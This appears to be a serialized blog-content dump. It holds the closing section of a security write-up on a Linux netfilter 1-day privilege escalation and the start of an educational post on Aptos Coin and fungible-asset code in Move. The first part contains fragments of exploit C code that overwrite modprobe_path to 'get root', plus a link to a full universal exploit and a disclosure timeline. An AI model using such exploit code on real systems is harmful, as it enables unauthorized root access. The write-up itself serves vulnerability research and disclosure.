stdout_fd);\n",{"type":24,"tag":147,"props":65883,"children":65884},{"class":149,"line":461},[65885],{"type":24,"tag":147,"props":65886,"children":65887},{"emptyLinePlaceholder":16},[65888],{"type":29,"value":314},{"type":24,"tag":147,"props":65890,"children":65891},{"class":149,"line":469},[65892,65896,65900,65904,65908,65912,65917,65921,65926,65931,65935,65939,65943],{"type":24,"tag":147,"props":65893,"children":65894},{"style":321},[65895],{"type":29,"value":403},{"type":24,"tag":147,"props":65897,"children":65898},{"style":235},[65899],{"type":29,"value":408},{"type":24,"tag":147,"props":65901,"children":65902},{"style":229},[65903],{"type":29,"value":65736},{"type":24,"tag":147,"props":65905,"children":65906},{"style":235},[65907],{"type":29,"value":480},{"type":24,"tag":147,"props":65909,"children":65910},{"style":247},[65911],{"type":29,"value":64408},{"type":24,"tag":147,"props":65913,"children":65914},{"style":235},[65915],{"type":29,"value":65916},"[pipe_idx][",{"type":24,"tag":147,"props":65918,"children":65919},{"style":705},[65920],{"type":29,"value":1154},{"type":24,"tag":147,"props":65922,"children":65923},{"style":235},[65924],{"type":29,"value":65925},"], fd_path, ",{"type":24,"tag":147,"props":65927,"children":65928},{"style":705},[65929],{"type":29,"value":65930},"32",{"type":24,"tag":147,"props":65932,"children":65933},{"style":235},[65934],{"type":29,"value":564},{"type":24,"tag":147,"props":65936,"children":65937},{"style":241},[65938],{"type":29,"value":3583},{"type":24,"tag":147,"props":65940,"children":65941},{"style":705},[65942],{"type":29,"value":708},{"type":24,"tag":147,"props":65944,"children":65945},{"style":235},[65946],{"type":29,"value":269},{"type":24,"tag":147,"props":65948,"children":65949},{"class":149,"line":508},[65950],{"type":24,"tag":147,"props":65951,"children":65952},{"style":235},[65953],{"type":29,"value":37259},{"type":24,"tag":147,"props":65955,"children":65956},{"class":149,"line":572},[65957,65961,65965,65969,65973,65978],{"type":24,"tag":147,"props":65958,"children":65959},{"style":229},[65960],{"type":29,"value":63484},{"type":24,"tag":147,"props":65962,"children":65963},{"style":235},[65964],{"type":29,"value":480},{"type":24,"tag":147,"props":65966,"children":65967},{"style":3534},[65968],{"type":29,"value":25663},{"type":24,"tag":147,"props":65970,"children":65971},{"style":53972},[65972],{"type":29,"value":53975},{"type":24,"tag":147,"props":65974,"children":65975},{"style":3534},[65976],{"type":29,"value":65977},"[-] write(pipe)\"",{"type":24,"tag":147,"props":65979,"children":65980},{"style":235},[65981],{"type":29,"value":1473},{"type":24,"tag":147,"props":65983,"children":65984},{"class":149,"line":591},[65985],{"type":24,"tag":147,"props":65986,"children":65987},{"style":235},[65988],{"type":29,"value":441},{"type":24,"tag":147,"props":65990,"children":65991},{"class":149,"line":632},[65992],{"type":24,"tag":147,"props":65993,"children":65994},{"emptyLinePlaceholder":16},[65995],{"type":29,"value":314},{"type":24,"tag":147,"props":65997,"children":65998},{"class":149,"line":659},[65999,66003,66007,66012],{"type":24,"tag":147,"props":66000,"children":66001},{"style":321},[66002],{"type":29,"value":403},{"type":24,"tag":147,"props":66004,"children":66005},{"style":235},[66006],{"type":29,"value":408},{"type":24,"tag":147,"props":66008,"children":66009},{"style":229},[66010],{"type":29,"value":66011},"check_modprobe",{"type":24,"tag":147,"props":66013,"children":66014},{"style":235},[66015],{"type":29,"value":66016},"(fd_path))\n",{"type":24,"tag":147,"props":66018,"children":66019},{"class":149,"line":684},[66020],{"type":24,"tag":147,"props":66021,"children":66022},{"style":235},[66023],{"type":29,"value":37259},{"type":24,"tag":147,"props":66025,"children":66026},{"class":149,"line":715},[66027,66032,66036,66041],{"type":24,"tag":147,"props":66028,"children":66029},{"style":229},[66030],{"type":29,"value":66031},"            puts",{"type":24,"tag":147,"props":66033,"children":66034},{"style":235},[66035],{"type":29,"value":480},{"type":24,"tag":147,"props":66037,"children":66038},{"style":3534},[66039],{"type":29,"value":66040},"\"[-] failed to overwrite modprobe\"",{"type":24,"tag":147,"props":66042,"children":66043},{"style":235},[66044],{"type":29,"value":1473},{"type":24,"tag":147,"props":66046,"children":66047},{"class":149,"line":744},[66048,66052],{"type":24,"tag":147,"props":66049,"children":66050},{"style":321},[66051],{"type":29,"value":427},{"type":24,"tag":147,"props":66053,"children":66054},{"style":235},[66055],{"type":29,"value":432},{"type":24,"tag":147,"props":66057,"children":66058},{"class":149,"line":784},[66059],{"type":24,"tag":147,"props":66060,"children":66061},{"style":235},[66062],{"type":29,"value":441},{"type":24,"tag":147,"props":66064,"children":66065},{"class":149,"line":792},[66066],{"type":24,"tag":147,"props":66067,"children":66068},{"emptyLinePlaceholder":16},[66069],{"type":29,"value":314},{"type":24,"tag":147,"props":66071,"children":66072},{"class":149,"line":805},[66073,66077,66081,66086],{"type":24,"tag":147,"props":66074,"children":66075},{"style":321},[66076],{"type":29,"value":403},{"type":24,"tag":147,"props":66078,"children":66079},{"style":235},[66080],{"type":29,"value":408},{"type":24,"tag":147,"props":66082,"children":66083},{"style":229},[66084],{"type":29,"value":66085},"trigger_modprobe",{"type":24,"tag":147,"props":66087,"children":66088},{"style":235},[66089],{"type":29,"value":66090},"(status_fd))\n",{"type":24,"tag":147,"props":66092,"children":66093},{"class":149,"line":813},[66094],{"type":24,"tag":147,"props":66095,"children":66096},{"style":235},[66097],{"type":29,"value":37259},{"type":24,"tag":147,"props":66099,"children":66100},{"class":149,"line":821},[66101,66105,66109,66113,66117,66122],{"type":24,"tag":147,"props":66102,"children":66103},{"style":229},[66104],{"type":29,"value":66031},{"type":24,"tag":147,"props":66106,"children":66107},{"style":235},[66108],{"type":29,"value":480},{"type":24,"tag":147,"props":66110,"children":66111},{"style":3534},[66112],{"type":29,"value":25663},{"type":24,"tag":147,"props":66114,"children":66115},{"style":53972},[66116],{"type":29,"value":53975},{"type":24,"tag":147,"props":66118,"children":66119},{"style":3534},[66120],{"type":29,"value":66121},"[+] got root\"",{"type":24,"tag":147,"props":66123,"children":66124},{"style":235},[66125],{"type":29,"value":1473},{"type":24,"tag":147,"props":66127,"children":66128},{"class":149,"line":1902},[66129,66133],{"type":24,"tag":147,"props":66130,"children":66131},{"style":321},[66132],{"type":29,"value":6705},{"type":24,"tag":147,"props":66134,"children":66135},{"style":235},[66136],{"type":29,"value":6710},{"type":24,"tag":147,"props":66138,"children":66139},{"class":149,"line":1920},[66140],{"type":24,"tag":147,"props":66141,"children":66142},{"style":235},[66143],{"type":29,"value":441},{"type":24,"tag":147,"props":66145,"children":66146},{"class":149,"line":1929},[66147],{"type":24,"tag":147,"props":66148,"children":66149},{"emptyLinePlaceholder":16},[66150],{"type":29,"value":314},{"type":24,"tag":147,"props":66152,"children":66153},{"class":149,"line":1938},[66154,66159,66163,66167,66171,66175,66179,66183,66187,66192,66196],{"type":24,"tag":147,"props":66155,"children":66156},{"style":321},[66157],{"type":29,"value":66158},"        for",{"type":24,"tag":147,"props":66160,"children":66161},{"style":235},[66162],{"type":29,"value":408},{"type":24,"tag":147,"props":66164,"children":66165},{"style":218},[66166],{"type":29,"value":1276},{"type":24,"tag":147,"props":66168,"children":66169},{"style":235},[66170],{"type":29,"value":60133},{"type":24,"tag":147,"props":66172,"children":66173},{"style":241},[66174],{"type":29,"value":369},{"type":24,"tag":147,"props":66176,"children":66177},{"style":705},[66178],{"type":29,"value":708},{"type":24,"tag":147,"props":66180,"children":66181},{"style":235},[66182],{"type":29,"value":56827},{"type":24,"tag":147,"props":66184,"children":66185},{"style":241},[66186],{"type":29,"value":3583},{"type":24,"tag":147,"props":66188,"children":66189},{"style":235},[66190],{"type":29,"value":66191}," SKBUF_SPRAY; i",{"type":24,"tag":147,"props":66193,"children":66194},{"style":241},[66195],{"type":29,"value":56862},{"type":24,"tag":147,"props":66197,"children":66198},{"style":235},[66199],{"type":29,"value":269},{"type":24,"tag":147,"props":66201,"children":66202},{"class":149,"line":1946},[66203],{"type":24,"tag":147,"props":66204,"children":66205},{"style":235},[66206],{"type":29,"value":37259},{"type":24,"tag":147,"props":66208,"children":66209},{"class":149,"line":1955},[66210,66214,66218,66223,66227,66232,66237,66241,66246,66250,66254,66259,66263,66267,66271],{"type":24,"tag":147,"props":66211,"children":66212},{"style":321},[66213],{"type":29,"value":64385},{"type":24,"tag":147,"props":66215,"children":66216},{"style":235},[66217],{"type":29,"value":408},{"type":24,"tag":147,"props":66219,"children":66220},{"style":229},[66221],{"type":29,"value":66222},"read",{"type":24,"tag":147,"props":66224,"children":66225},{"style":235},[66226],{"type":29,"value":480},{"type":24,"tag":147,"props":66228,"children":66229},{"style":247},[66230],{"type":29,"value":66231},"sock",{"type":24,"tag":147,"props":66233,"children":66234},{"style":235},[66235],{"type":29,"value":66236},"[i][",{"type":24,"tag":147,"props":66238,"children":66239},{"style":705},[66240],{"type":29,"value":1154},{"type":24,"tag":147,"props":66242,"children":66243},{"style":235},[66244],{"type":29,"value":66245},"], leak, ",{"type":24,"tag":147,"props":66247,"children":66248},{"style":705},[66249],{"type":29,"value":63734},{"type":24,"tag":147,"props":66251,"children":66252},{"style":241},[66253],{"type":29,"value":1791},{"type":24,"tag":147,"props":66255,"children":66256},{"style":705},[66257],{"type":29,"value":66258}," 320",{"type":24,"tag":147,"props":66260,"children":66261},{"style":235},[66262],{"type":29,"value":564},{"type":24,"tag":147,"props":66264,"children":66265},{"style":241},[66266],{"type":29,"value":3583},{"type":24,"tag":147,"props":66268,"children":66269},{"style":705},[66270],{"type":29,"value":708},{"type":24,"tag":147,"props":66272,"children":66273},{"style":235},[66274],{"type":29,"value":269},{"type":24,"tag":147,"props":66276,"children":66277},{"class":149,"line":29376},[66278],{"type":24,"tag":147,"props":66279,"children":66280},{"style":235},[66281],{"type":29,"value":37295},{"type":24,"tag":147,"props":66283,"children":66284},{"class":149,"line":29384},[66285,66290,66294,66299],{"type":24,"tag":147,"props":66286,"children":66287},{"style":229},[66288],{"type":29,"value":66289},"                perror",{"type":24,"tag":147,"props":66291,"children":66292},{"style":235},[66293],{"type":29,"value":480},{"type":24,"tag":147,"props":66295,"children":66296},{"style":3534},[66297],{"type":29,"value":66298},"\"[-] read(socket)\"",{"type":24,"tag":147,"props":66300,"children":66301},{"style":235},[66302],{"type":29,"value":1473},{"type":24,"tag":147,"props":66304,"children":66305},{"class":149,"line":29421},[66306,66311,66315,66319],{"type":24,"tag":147,"props":66307,"children":66308},{"style":321},[66309],{"type":29,"value":66310},"                return",{"type":24,"tag":147,"props":66312,"children":66313},{"style":241},[66314],{"type":29,"value":1791},{"type":24,"tag":147,"props":66316,"children":66317},{"style":705},[66318],{"type":29,"value":1154},{"type":24,"tag":147,"props":66320,"children":66321},{"style":235},[66322],{"type":29,"value":432},{"type":24,"tag":147,"props":66324,"children":66325},{"class":149,"line":29434},[66326],{"type":24,"tag":147,"props":66327,"children":66328},{"style":235},[66329],{"type":29,"value":1935},{"type":24,"tag":147,"props":66331,"children":66332},{"class":149,"line":29447},[66333],{"type":24,"tag":147,"props":66334,"children":66335},{"style":235},[66336],{"type":29,"value":441},{"type":24,"tag":147,"props":66338,"children":66339},{"class":149,"line":29460},[66340],{"type":24,"tag":147,"props":66341,"children":66342},{"style":235},[66343],{"type":29,"value":1952},{"type":24,"tag":147,"props":66345,"children":66346},{"class":149,"line":29514},[66347,66351,66355,66360],{"type":24,"tag":147,"props":66348,"children":66349},{"style":229},[66350],{"type":29,"value":61095},{"type":24,"tag":147,"props":66352,"children":66353},{"style":235},[66354],{"type":29,"value":480},{"type":24,"tag":147,"props":66356,"children":66357},{"style":3534},[66358],{"type":29,"value":66359},"\"[-] fake modprobe failed\"",{"type":24,"tag":147,"props":66361,"children":66362},{"style":235},[66363],{"type":29,"value":1473},{"type":24,"tag":147,"props":66365,"children":66366},{"class":149,"line":29523},[66367],{"type":24,"tag":147,"props":66368,"children":66369},{"style":235},[66370],{"type":29,"value":15939},{"type":24,"tag":25,"props":66372,"children":66373},{},[66374,66376,66383],{"type":29,"value":66375},"This trick has already been throughly detailed by ",{"type":24,"tag":2773,"props":66377,"children":66380},{"href":66378,"rel":66379},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[2777],[66381],{"type":29,"value":66382},"lau",{"type":29,"value":66384},", so we won't go much more into it.",{"type":24,"tag":43,"props":66386,"children":66388},{"id":66387},"universal-exploit-demo",[66389],{"type":29,"value":66390},"Universal exploit demo",{"type":24,"tag":25,"props":66392,"children":66393},{},[66394,66396,66402],{"type":29,"value":66395},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":24,"tag":2773,"props":66397,"children":66400},{"href":66398,"rel":66399},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[2777],[66401],{"type":29,"value":63003},{"type":29,"value":87},{"type":24,"tag":32,"props":66404,"children":66406},{"id":66405},"disclosure-timeline",[66407],{"type":29,"value":66408},"Disclosure Timeline",{"type":24,"tag":22292,"props":66410,"children":66411},{},[66412,66417,66422,66427,66432],{"type":24,"tag":2678,"props":66413,"children":66414},{},[66415],{"type":29,"value":66416},"March 21st -- Patch made public",{"type":24,"tag":2678,"props":66418,"children":66419},{},[66420],{"type":29,"value":66421},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":24,"tag":2678,"props":66423,"children":66424},{},[66425],{"type":29,"value":66426},"March 24th -- Wrote KernelCTF exploit",{"type":24,"tag":2678,"props":66428,"children":66429},{},[66430],{"type":29,"value":66431},"March 26th -- Wrote Universal exploit",{"type":24,"tag":2678,"props":66433,"children":66434},{},[66435],{"type":29,"value":66436},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":24,"tag":25,"props":66438,"children":66439},{},[66440],{"type":29,"value":66441},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":24,"tag":32,"props":66443,"children":66444},{"id":8458},[66445],{"type":29,"value":8461},{"type":24,"tag":25,"props":66447,"children":66448},{},[66449],{"type":29,"value":66450},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":24,"tag":25,"props":66452,"children":66453},{},[66454],{"type":29,"value":66455},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":24,"tag":8473,"props":66457,"children":66458},{},[66459],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":66461},[66462,66465,66468,66471,66472,66482,66490,66491],{"id":56165,"depth":160,"text":56168,"children":66463},[66464],{"id":56186,"depth":169,"text":56189},{"id":56229,"depth":160,"text":56229,"children":66466},[66467],{"id":56276,"depth":169,"text":56279},{"id":56334,"depth":160,"text":56337,"children":66469},[66470],{"id":57491,"depth":169,"text":57494},{"id":59364,"depth":160,"text":59367},{"id":59766,"depth":160,"text":59769,"children":66473},[66474,66475,66476,66478,66479,66480,66481],{"id":59793,"depth":169,"text":59796},{"id":60674,"depth":169,"text":60677},{"id":61258,"depth":169,"text":66477},"Leaking self pointer of nft_object",{"id":61656,"depth":169,"text":61659},{"id":62170,"depth":169,"text":62173},{"id":62300,"depth":169,"text":61957},{"id":62984,"depth":169,"text":62987},{"id":63007,"depth":160,"text":63010,"children":66483},[66484,66485,66486,66487,66489],{"id":63018,"depth":169,"text":63021},{"id":63874,"depth":169,"text":63877},{"id":63949,"depth":169,"text":63952},{"id":65572,"depth":169,"text":66488},"Overwriting modprobe_path",{"id":66387,"depth":169,"text":66390},{"id":66405,"depth":160,"text":66408},{"id":8458,"depth":160,"text":8461},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":66496,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":66497,"description":66498,"image":66499,"date":66501,"isFeatured":16,"onBlogPage":16,"tags":66502,"body":66503,"_type":8496,"_id":73220,"_source":8498,"_file":73221,"_stem":73222,"_extension":8501},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":66500,"width":11010,"height":11011},"/posts/aptos-guide/title.png","2025-02-10",[11504],{"type":21,"children":66504,"toc":73204},[66505,66518,66523,66532,66538,66566,66639,66679,66713,66874,66893,66974,67014,67042,67059,67064,67072,67077,67083,67104,67184,67217,67225,67238,67243,67627,67632,67637,67643,67648,67660,67764,67802,67805,67823,68131,68136,68148,68154,68180,68201,68206,68385,68405,68411,68431,68443,68448,68454,68466,68529,68556,68580,68801,68804,68823,68933,68990,69126,69153,69159,69185,69429,69457,69759,69792,69805,69831,69864,70171,70183,70460,70474,70791,70810,70816,70848,70888,70989,71009,71129,71146,71220,71232,71320,71341,71347,71352,71357,71374,71395,71766,71825,71830,72281,72286,72322,72328,72340,72362,72388,72595,72609,72864,72876,72903,73054,73073,73103,73107,73118,73123,73136,73200],{"type":24,"tag":25,"props":66506,"children":66507},{},[66508,66510,66516],{"type":29,"value":66509},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":24,"tag":80,"props":66511,"children":66513},{"className":66512},[],[66514],{"type":29,"value":66515},"coin",{"type":29,"value":66517}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":24,"tag":25,"props":66519,"children":66520},{},[66521],{"type":29,"value":66522},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":24,"tag":66524,"props":66525,"children":66526},"important",{},[66527],{"type":24,"tag":25,"props":66528,"children":66529},{},[66530],{"type":29,"value":66531},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":24,"tag":32,"props":66533,"children":66535},{"id":66534},"aptos-coin-standard",[66536],{"type":29,"value":66537},"Aptos Coin standard",{"type":24,"tag":25,"props":66539,"children":66540},{},[66541,66543,66549,66551,66556,66557,66564],{"type":29,"value":66542},"In the beginning, Aptos used ",{"type":24,"tag":80,"props":66544,"children":66546},{"className":66545},[],[66547],{"type":29,"value":66548},"Coin",{"type":29,"value":66550},". It is still in use, although it is now considered \"legacy\". ",{"type":24,"tag":80,"props":66552,"children":66554},{"className":66553},[],[66555],{"type":29,"value":66548},{"type":29,"value":5819},{"type":24,"tag":2773,"props":66558,"children":66561},{"href":66559,"rel":66560},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[2777],[66562],{"type":29,"value":66563},"defined",{"type":29,"value":66565}," in Aptos as follows:",{"type":24,"tag":137,"props":66567,"children":66569},{"className":8614,"code":66568,"language":8613,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[66570],{"type":24,"tag":80,"props":66571,"children":66572},{"__ignoreMap":7},[66573,66612,66632],{"type":24,"tag":147,"props":66574,"children":66575},{"class":149,"line":150},[66576,66580,66584,66588,66592,66596,66600,66604,66608],{"type":24,"tag":147,"props":66577,"children":66578},{"style":218},[66579],{"type":29,"value":993},{"type":24,"tag":147,"props":66581,"children":66582},{"style":9044},[66583],{"type":29,"value":11426},{"type":24,"tag":147,"props":66585,"children":66586},{"style":235},[66587],{"type":29,"value":3583},{"type":24,"tag":147,"props":66589,"children":66590},{"style":247},[66591],{"type":29,"value":11435},{"type":24,"tag":147,"props":66593,"children":66594},{"style":9044},[66595],{"type":29,"value":11440},{"type":24,"tag":147,"props":66597,"children":66598},{"style":235},[66599],{"type":29,"value":11445},{"type":24,"tag":147,"props":66601,"children":66602},{"style":247},[66603],{"type":29,"value":11450},{"type":24,"tag":147,"props":66605,"children":66606},{"style":247},[66607],{"type":29,"value":11455},{"type":24,"tag":147,"props":66609,"children":66610},{"style":235},[66611],{"type":29,"value":6630},{"type":24,"tag":147,"props":66613,"children":66614},{"class":149,"line":160},[66615,66620,66624,66628],{"type":24,"tag":147,"props":66616,"children":66617},{"style":247},[66618],{"type":29,"value":66619},"    value",{"type":24,"tag":147,"props":66621,"children":66622},{"style":241},[66623],{"type":29,"value":978},{"type":24,"tag":147,"props":66625,"children":66626},{"style":9044},[66627],{"type":29,"value":11484},{"type":24,"tag":147,"props":66629,"children":66630},{"style":235},[66631],{"type":29,"value":1549},{"type":24,"tag":147,"props":66633,"children":66634},{"class":149,"line":169},[66635],{"type":24,"tag":147,"props":66636,"children":66637},{"style":235},[66638],{"type":29,"value":827},{"type":24,"tag":25,"props":66640,"children":66641},{},[66642,66644,66649,66651,66657,66658,66664,66666,66671,66673,66678],{"type":29,"value":66643},"Aptos distinguishes coins by their type (",{"type":24,"tag":80,"props":66645,"children":66647},{"className":66646},[],[66648],{"type":29,"value":12209},{"type":29,"value":66650},") at compile time. For example, ",{"type":24,"tag":80,"props":66652,"children":66654},{"className":66653},[],[66655],{"type":29,"value":66656},"Coin\u003COtter>",{"type":29,"value":855},{"type":24,"tag":80,"props":66659,"children":66661},{"className":66660},[],[66662],{"type":29,"value":66663},"Coin\u003CWeasel>",{"type":29,"value":66665}," represent different coins, and you cannot pass a ",{"type":24,"tag":80,"props":66667,"children":66669},{"className":66668},[],[66670],{"type":29,"value":66663},{"type":29,"value":66672}," to a function expecting ",{"type":24,"tag":80,"props":66674,"children":66676},{"className":66675},[],[66677],{"type":29,"value":66656},{"type":29,"value":87},{"type":24,"tag":25,"props":66680,"children":66681},{},[66682,66684,66689,66691,66696,66698,66703,66705,66711],{"type":29,"value":66683},"The type signature reveals why ",{"type":24,"tag":80,"props":66685,"children":66687},{"className":66686},[],[66688],{"type":29,"value":66548},{"type":29,"value":66690}," has become a legacy standard. ",{"type":24,"tag":80,"props":66692,"children":66694},{"className":66693},[],[66695],{"type":29,"value":66548},{"type":29,"value":66697}," has only the ",{"type":24,"tag":80,"props":66699,"children":66701},{"className":66700},[],[66702],{"type":29,"value":11565},{"type":29,"value":66704}," ability and uses a ",{"type":24,"tag":80,"props":66706,"children":66708},{"className":66707},[],[66709],{"type":29,"value":66710},"CoinStore",{"type":29,"value":66712}," wrapper to store the coin and metadata:",{"type":24,"tag":137,"props":66714,"children":66716},{"className":8614,"code":66715,"language":8613,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[66717],{"type":24,"tag":80,"props":66718,"children":66719},{"__ignoreMap":7},[66720,66760,66788,66808,66838,66867],{"type":24,"tag":147,"props":66721,"children":66722},{"class":149,"line":150},[66723,66727,66732,66736,66740,66744,66748,66752,66756],{"type":24,"tag":147,"props":66724,"children":66725},{"style":218},[66726],{"type":29,"value":993},{"type":24,"tag":147,"props":66728,"children":66729},{"style":9044},[66730],{"type":29,"value":66731}," CoinStore",{"type":24,"tag":147,"props":66733,"children":66734},{"style":235},[66735],{"type":29,"value":3583},{"type":24,"tag":147,"props":66737,"children":66738},{"style":247},[66739],{"type":29,"value":11435},{"type":24,"tag":147,"props":66741,"children":66742},{"style":9044},[66743],{"type":29,"value":11440},{"type":24,"tag":147,"props":66745,"children":66746},{"style":235},[66747],{"type":29,"value":11445},{"type":24,"tag":147,"props":66749,"children":66750},{"style":247},[66751],{"type":29,"value":11450},{"type":24,"tag":147,"props":66753,"children":66754},{"style":247},[66755],{"type":29,"value":11556},{"type":24,"tag":147,"props":66757,"children":66758},{"style":235},[66759],{"type":29,"value":6630},{"type":24,"tag":147,"props":66761,"children":66762},{"class":149,"line":160},[66763,66768,66772,66776,66780,66784],{"type":24,"tag":147,"props":66764,"children":66765},{"style":247},[66766],{"type":29,"value":66767},"    coin",{"type":24,"tag":147,"props":66769,"children":66770},{"style":241},[66771],{"type":29,"value":978},{"type":24,"tag":147,"props":66773,"children":66774},{"style":9044},[66775],{"type":29,"value":11426},{"type":24,"tag":147,"props":66777,"children":66778},{"style":235},[66779],{"type":29,"value":3583},{"type":24,"tag":147,"props":66781,"children":66782},{"style":9044},[66783],{"type":29,"value":12209},{"type":24,"tag":147,"props":66785,"children":66786},{"style":235},[66787],{"type":29,"value":11763},{"type":24,"tag":147,"props":66789,"children":66790},{"class":149,"line":169},[66791,66796,66800,66804],{"type":24,"tag":147,"props":66792,"children":66793},{"style":247},[66794],{"type":29,"value":66795},"    frozen",{"type":24,"tag":147,"props":66797,"children":66798},{"style":241},[66799],{"type":29,"value":978},{"type":24,"tag":147,"props":66801,"children":66802},{"style":9044},[66803],{"type":29,"value":17669},{"type":24,"tag":147,"props":66805,"children":66806},{"style":235},[66807],{"type":29,"value":1549},{"type":24,"tag":147,"props":66809,"children":66810},{"class":149,"line":178},[66811,66816,66820,66825,66829,66834],{"type":24,"tag":147,"props":66812,"children":66813},{"style":247},[66814],{"type":29,"value":66815},"    deposit_events",{"type":24,"tag":147,"props":66817,"children":66818},{"style":241},[66819],{"type":29,"value":978},{"type":24,"tag":147,"props":66821,"children":66822},{"style":9044},[66823],{"type":29,"value":66824}," EventHandle",{"type":24,"tag":147,"props":66826,"children":66827},{"style":235},[66828],{"type":29,"value":3583},{"type":24,"tag":147,"props":66830,"children":66831},{"style":9044},[66832],{"type":29,"value":66833},"DepositEvent",{"type":24,"tag":147,"props":66835,"children":66836},{"style":235},[66837],{"type":29,"value":11763},{"type":24,"tag":147,"props":66839,"children":66840},{"class":149,"line":187},[66841,66846,66850,66854,66858,66863],{"type":24,"tag":147,"props":66842,"children":66843},{"style":247},[66844],{"type":29,"value":66845},"    withdraw_events",{"type":24,"tag":147,"props":66847,"children":66848},{"style":241},[66849],{"type":29,"value":978},{"type":24,"tag":147,"props":66851,"children":66852},{"style":9044},[66853],{"type":29,"value":66824},{"type":24,"tag":147,"props":66855,"children":66856},{"style":235},[66857],{"type":29,"value":3583},{"type":24,"tag":147,"props":66859,"children":66860},{"style":9044},[66861],{"type":29,"value":66862},"WithdrawEvent",{"type":24,"tag":147,"props":66864,"children":66865},{"style":235},[66866],{"type":29,"value":11763},{"type":24,"tag":147,"props":66868,"children":66869},{"class":149,"line":196},[66870],{"type":24,"tag":147,"props":66871,"children":66872},{"style":235},[66873],{"type":29,"value":827},{"type":24,"tag":25,"props":66875,"children":66876},{},[66877,66879,66884,66886,66891],{"type":29,"value":66878},"However, an astute reader would note that this isn't the only place a ",{"type":24,"tag":80,"props":66880,"children":66882},{"className":66881},[],[66883],{"type":29,"value":66548},{"type":29,"value":66885}," can be stored. You can create your own ",{"type":24,"tag":80,"props":66887,"children":66889},{"className":66888},[],[66890],{"type":29,"value":66548},{"type":29,"value":66892}," wallet, which could look like this:",{"type":24,"tag":137,"props":66894,"children":66896},{"className":8614,"code":66895,"language":8613,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[66897],{"type":24,"tag":80,"props":66898,"children":66899},{"__ignoreMap":7},[66900,66940,66967],{"type":24,"tag":147,"props":66901,"children":66902},{"class":149,"line":150},[66903,66907,66912,66916,66920,66924,66928,66932,66936],{"type":24,"tag":147,"props":66904,"children":66905},{"style":218},[66906],{"type":29,"value":993},{"type":24,"tag":147,"props":66908,"children":66909},{"style":9044},[66910],{"type":29,"value":66911}," DefinitelyLegitCoinStore",{"type":24,"tag":147,"props":66913,"children":66914},{"style":235},[66915],{"type":29,"value":3583},{"type":24,"tag":147,"props":66917,"children":66918},{"style":247},[66919],{"type":29,"value":11435},{"type":24,"tag":147,"props":66921,"children":66922},{"style":9044},[66923],{"type":29,"value":11440},{"type":24,"tag":147,"props":66925,"children":66926},{"style":235},[66927],{"type":29,"value":11445},{"type":24,"tag":147,"props":66929,"children":66930},{"style":247},[66931],{"type":29,"value":11450},{"type":24,"tag":147,"props":66933,"children":66934},{"style":247},[66935],{"type":29,"value":11556},{"type":24,"tag":147,"props":66937,"children":66938},{"style":235},[66939],{"type":29,"value":6630},{"type":24,"tag":147,"props":66941,"children":66942},{"class":149,"line":160},[66943,66947,66951,66955,66959,66963],{"type":24,"tag":147,"props":66944,"children":66945},{"style":247},[66946],{"type":29,"value":66767},{"type":24,"tag":147,"props":66948,"children":66949},{"style":241},[66950],{"type":29,"value":978},{"type":24,"tag":147,"props":66952,"children":66953},{"style":9044},[66954],{"type":29,"value":11426},{"type":24,"tag":147,"props":66956,"children":66957},{"style":235},[66958],{"type":29,"value":3583},{"type":24,"tag":147,"props":66960,"children":66961},{"style":9044},[66962],{"type":29,"value":12209},{"type":24,"tag":147,"props":66964,"children":66965},{"style":235},[66966],{"type":29,"value":11617},{"type":24,"tag":147,"props":66968,"children":66969},{"class":149,"line":169},[66970],{"type":24,"tag":147,"props":66971,"children":66972},{"style":235},[66973],{"type":29,"value":827},{"type":24,"tag":25,"props":66975,"children":66976},{},[66977,66982,66984,66990,66992,66997,66999,67005,67007,67012],{"type":24,"tag":80,"props":66978,"children":66980},{"className":66979},[],[66981],{"type":29,"value":66710},{"type":29,"value":66983}," includes a ",{"type":24,"tag":80,"props":66985,"children":66987},{"className":66986},[],[66988],{"type":29,"value":66989},"frozen",{"type":29,"value":66991}," field, allowing the issuer to block transfers to and from the store. 